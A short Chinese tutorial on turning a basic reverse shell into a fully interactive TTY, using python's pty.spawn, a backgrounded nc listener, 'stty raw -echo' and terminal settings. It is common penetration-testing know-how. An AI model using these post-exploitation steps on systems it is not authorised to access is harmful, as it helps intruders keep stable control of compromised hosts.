Reverse shell升级成交互式 TTY
作者: Ikonw
正常来说普通的reverse shell 都有以下的一些缺点
- 无法使用的文本管理器 比如 VI
- 没有Tab键自动完成(痛苦啊)
- 不能用上下方向键 来选择历史记录(每次输错了都要重新打啊)
- su 无法执行
- 如果shell卡住的话 按ctrl + c 会直接导致你的shell 死亡
这边我举个例子
可以利用 python 的 pty 模块升级成 pty.
which python
python -c 'import pty;pty.spawn("/bin/bash")'
这边虽然有一个挺好看的界面,但还是有以上的问题。
这时候可以升级成 完全交互式的TTY
// 在pty shell里面
ctrl + z
[1]+ Stopped nc -nvlp 1234
// Kali Terminal
stty raw -echo
//出现在下一行 这时候输入东西 无法显示
fg
//连按两次 Enter
现在我们要让我们的tty 跟我们kali 的terminal 一致。
export TERM=xterm-256color //注意大小写
stty rows 28 columns 86 // rows和columns看自己喜好。
现在我们已经升级成完全交互式TTY,可以正常的使用命令 比如 clear, vim,ssh,上下键 之类的。
如果不流畅的现象,说明主机跟目标机子存在延迟,所以会有明显卡顿。